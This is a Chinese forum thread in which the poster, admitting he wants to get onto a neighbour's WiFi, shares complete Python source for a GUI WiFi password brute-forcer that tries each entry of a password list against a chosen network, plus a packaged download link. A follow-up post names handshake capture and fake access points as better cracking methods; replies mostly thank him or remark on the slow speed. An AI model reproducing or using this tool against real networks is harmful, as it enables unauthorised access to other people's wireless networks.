li707392 发表于 2021-1-22 10:24

WiFi暴力破解工具(字典)

本帖最后由 li707392 于 2021-1-23 10:39 编辑



自己家的网路实在是差劲的一批,但凡我只要一使用,电视那边就不行了... ...

然后电脑打开WiFi,发现了有及格信号还蛮不错的WiFi,于是......

---------------------------------------------------------------------------------------------------------------------------------
----------------------------------------------分割线---------------------------------------------------------------------------

我大学学的是影视动画,对于编程只是白嫖过一些python的课(学的也都是office自动办公之类的,偶尔看了看爬虫,挺懵的)

对于拥有多年白嫖经验的我来说,找个**wifi或许不是多难

于是就找到了源码



from tkinter import *
from pywifi import const
import pywifi
import time

# 主要步骤:
# 1、获取第一个无线网卡
# 2、断开所有的wifi
# 3、读取密码本
# 4、设置睡眠时间

#测试连接
def wificonnect(str,wifiname):
    # 窗口无线对象
    wifi = pywifi.PyWiFi()
    # 抓取第一个无线网卡
    ifaces = wifi.interfaces()
    # 断开所有的wifi
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status()==const.IFACE_DISCONNECTED:
      # 创建wifi连接文件
      profile = pywifi.Profile()
      profile.ssid = wifiname
      # wifi的加密算法
      profile.akm.append(const.AKM_TYPE_WPA2PSK)
      #wifi的密码
      profile.key = str
      # 网卡的开发
      profile.auth = const.AUTH_ALG_OPEN
      # 加密单元,这里需要写点加密单元否则无法连接
      profile.cipher = const.CIPHER_TYPE_CCMP

      #删除所有的wifi文件
      ifaces.remove_all_network_profiles()
      #设置新的连接文件
      tep_profile = ifaces.add_network_profile(profile)
      # 连接
      ifaces.connect(tep_profile)
      time.sleep(3)

      if ifaces.status() == const.IFACE_CONNECTED:
            return True
      else:
            return False


def readPwd():
    # 获取wiif名称
    wifiname = entry.get().strip()

    path = r'./wifipwd.txt'
    file = open(path,'r')
    while True:
      try:
            # 读取
            mystr = file.readline().strip()
            # 测试连接
            bool = wificonnect(mystr,wifiname)
            if bool:
                text.insert(END,'密码正确'+mystr)
                text.see(END)
                text.update()
                file.close()
                break
            else:
                text.insert(END,'密码错误'+mystr)
                text.see(END)
                text.update()

      except: continue

# 创建窗口
root = Tk()
root.title('wifi**')
root.geometry('500x400')

# 标签
label = Label(root,text='输入要破解的WIFI名称:')
#定位
label.grid()
#输入控件
entry= Entry(root,font=('微软雅黑',14))
entry.grid(row=0,column=1)
#列表控件
text =Listbox(root,font=('微软雅黑',14),width=40,height=10)
text.grid(row=1,columnspan=2)
#按钮
button = Button(root,text = '开始破解',width=20,height=2,command=readPwd)
button.grid(row=2,columnspan=2)

# 显示窗口
root.mainloop()





然后我也把它打包了一下




++这是字典破解,不知道会不会对电脑WiFi模块有损害,小弟也搞不清楚,所以使用的时候,不要挂上字典,人就出差了


下载地址:**** Hidden Message *****
http://i1.fuimg.com/639155/0473e0eb4be4ca29.png

1767589747 发表于 2022-4-8 15:26

学习下,试试效果                                                                                     .

li707392 发表于 2021-1-22 10:25

缺点
1、WiFi名需要自己输入
2、破解速度非常非常慢
3、破解的时候会断掉自己已经连接好的热点
目前比较好的破解方式是抓包跑包,还有伪装WiFi让他连接
但凡不是底层路由都会有防御验证机制。抓包还是比较好的,伪装没搞过但是听起来可以哦

pcvia 发表于 2021-1-22 11:30

如果您要查看本帖隐藏内容请回复

libing0505 发表于 2021-1-22 13:07

如果您要查看本帖隐藏内容请回复

无线爱好者学徒 发表于 2021-1-22 15:25

看看这是什么高科技

oppoa79 发表于 2021-1-22 17:42

看看是啥!

oppoa79 发表于 2021-1-22 17:50

经本人测试,破解速度是真心的慢啊,类似一次一次连接wifi那种破解,这样的破解方式:dizzy:   很令人抓狂啊

mzj3368 发表于 2021-1-22 18:15

如果您要查看本帖隐藏内容请回复

恨天无眼 发表于 2021-1-22 20:20

什么工具看看行不行

Youtoou 发表于 2021-1-22 21:14

学习。。。。。

信天翁徐子 发表于 2021-1-22 21:37

谢谢分享

鍗佷竴鐐圭潯瑙夝煉 发表于 2021-1-22 21:52

看看是森么好东西
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: WiFi暴力破解工具(字典)